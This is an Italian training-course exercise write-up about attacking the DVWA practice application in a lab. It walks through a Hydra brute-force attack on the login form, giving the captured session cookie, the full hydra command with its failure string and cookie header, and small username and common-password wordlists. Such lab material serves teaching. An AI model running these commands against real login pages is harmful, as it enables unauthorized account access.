S6 LEZIONE 3

Traccia: password cracking L’obiettivo dell’esercizio di oggi è craccare tutte le password trovate ieri. Nella lezione pratica di ieri, abbiamo visto come sfruttare un attacco SQL injection per recuperare le password degli utenti di un determinato sistema. Se guardiamo meglio alle password trovate, non hanno l’aspetto di password in chiaro, ma sembrano più hash di password MD5. Recuperate le password dal DB come visto ieri, e provate ad eseguire delle sessioni di cracking sulla password per recuperare la loro versione in chiaro.

HYDRA

Innanzitutto con burpsuite andiamo a recuperare l’id di sessione:

PHPSESSID=30bbbb853464a3c8325a110cb6df56bb

dopodiché ci salviamo il link della pagina di login:

http://192.168.50.103/dvwa/vulnerabilities/brute/

inoltre ci salviamo il messaggio di errore in caso di errato login:

Username and/or password incorrect

ora che abbiamo tutte le informazioni possiamo eseguire il comando per l’attacco:

hydra -L username.txt -P password.txt 192.168.50.103 http-get-form “dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login:F=Username and/or password incorrect.:H=Cookie\: PHPSESSID=30bbbb853464a3c8325a110cb6df56bb,security=low”

SPIEGAZIONE CODICE:
-L → file username

```
alice
bill
bob
joe
admin
administrator
root
```

-P → file password

```
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
```

:F → messaggio errore
:H → fornisce il cookie

Una volta lanciato il programma ci ritornerà tutti i tentativi con le varie combinazioni di username e password, ed infine ci evidenzierà quelli corretti.